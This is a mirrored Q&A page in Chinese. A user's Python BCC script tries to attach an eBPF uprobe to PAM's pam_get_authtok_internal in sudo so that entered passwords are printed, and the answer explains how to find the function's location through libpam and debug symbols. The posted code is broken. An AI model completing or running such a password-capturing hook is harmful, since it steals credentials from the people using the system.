将 pam_get_authtok_internal 与 ebpf 挂钩

问题描述 投票:0回答:1

我尝试使用 ebpf 挂钩 pam_get_authtok_internal 但它不起作用

from bcc import BPF

# Define the BPF program code to print the password
bpf_text = """
#include <uapi/linux/ptrace.h>
int print_password (pam_handle_t *pamh, int item,const char **authtok, const char *prompt,unsigned int flags)
{
    char buf[256];
    bpf_probe_read_str(buf, sizeof(buf), (void *)authtok);
    bpf_trace_printk("Password: %s\\n", buf);
    return 0;
}
"""

b = BPF(text=bpf_text)

b.attach_uprobe(name=sudo_path,sym="pam_get_authtok_internal", fn_name="print_password")

def print_password(cpu, data, size):
    pid = b["passwords"].Key(data).value
    password = data + size - 1
    print(f"PID {pid} Password: {password.decode()}")

有人可以帮我吗

python ebpf pam bpf bcc
1个回答
0
投票

您将无法附加此

uprobe
,因为
sudo
二进制文件中没有这样的符号。在尝试附加
uprobe
uretprobe
之前,请先尝试通过
objdump -tT <file>
readelf -s <file>
检查哪些符号可用。

第二个问题是函数

pam_get_authtok_internal
定义
static
,因此,它很可能不会出现在正确文件的符号表中(应该是
libpam.so
)。您可以检查哪些符号可用
objdump -tT /usr/lib/libpam.so

进行调试构建可能会解决此问题,另一种选择可能是安装调试符号并使用调试符号提供的信息来查明此函数的正确位置。您可以使用

objdump -e
objdump -g
从调试符号中获取信息,然后使用此地址而不是符号。

© www.soinside.com 2019 - 2024. All rights reserved.